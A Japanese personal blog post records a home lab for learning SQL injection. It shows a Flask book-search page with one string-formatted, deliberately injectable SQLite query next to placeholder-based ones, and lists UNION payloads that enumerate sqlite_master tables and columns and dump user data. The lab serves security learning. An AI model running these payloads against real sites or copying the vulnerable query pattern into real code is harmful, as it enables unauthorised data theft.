akkietech’s diary

セキュリティ関連メインの自分用メモ書き。twitter: @akkietech

2/28 SQLi用蔵書検索サイト

使っているのはflaskとsqlite3

SQLインジェクションが可能な環境を用意
とりあえずSQLiの脆弱性を持つWebページとして
よく例に取り上げられるのが蔵書検索ページ

ということでflaskで手作り蔵書検索ページを作成
名前や著者名で絞れば該当の書物名のみが表示される
かなりあらいけどこんな感じ

@bp.route("/search_book", methods=('GET', 'POST'))
def search_book():
	db = get_db()
	if request.method == 'POST':
		auth_name = request.form['auth_name']
		book_name = request.form['book_name']

		if auth_name == "" and book_name == "":
			return redirect(url_for('bp.search_book'))
		elif auth_name != "" and book_name == "":
			book_info = db.execute('select * from book_info where auth_name = "%s"'%(auth_name))
		elif book_name != "" and auth_name == "":
			book_info = db.execute('select * from book_info where book_name = ?', (book_name,))
		elif book_name != "" and auth_name != "":
			book_info = db.execute('select * from book_info where book_name = ? and auth_name = ?',
			(book_name, auth_name,))
		return render_template('search_book.html', book_name=book_name, auth_name=auth_name, book_info=book_info)
		
	book_info = db.execute('SELECT * from book_info')
	return render_template('search_book.html', book_info=book_info)

そしてSQLiを可能にするかどうかのミソは「プレースホルダ」!

プレースホルダ無し(SQLi脆弱性を持つ)

book_info = db.execute('select * from book_info where auth_name = "%s"'%(auth_name))

プレースホルダを使用(SQLi脆弱性を軽減)

book_info = db.execute('select * from book_info where book_name = ?', (book_name,))

「?」がプレースホルダにあたるらしい
詳しいことはまた別の機会に調べる

SQLインジェクション実践(SQLite3編)
SQLite3向けSQLi用参考サイト
https://www.exploit-db.com/docs/english/41397-injecting-sqlite-database-based-applications.pdf

SOCでよく見るSQLiは
MySQLで使われる「information_schema.tables」を使ってテーブル名の取得を試みたりするもの

SQLiteでも似たようなのがあったので検索フォームで下記文字列を入れてみた

・テーブル名を取得

"or 1=1 union SELECT 1,tbl_name,3,4,5 FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_% --

カラム名を取得

"or 1=1 union SELECT 1,sql,3,4,5 FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name NOT LIKE 'sqlite_%' AND name ='table_name'

任意のカラムからデータを取得

"or 1=1 union SELECT 1,2,user,4,5 from 'table_name'

なのでSQLite3でのSQLiで重要なのは
sqlite_maseterテーブルを使うこと
・tbl_nameでテーブル名取得
sqlカラム名取得

この辺をおさえておけばいいのかな
実際、1つのデータベースファイルに複数のテーブル入れておいて
蔵書検索ページから上記SQLiを試してみたら
全然関係ないログイン用ユーザ情報の取得に成功した

■まとめ
とりあえずSQLインジェクションの脆弱ページが完成したのと
SQLiteで典型的なSQLインジェクション実践できたのでよかった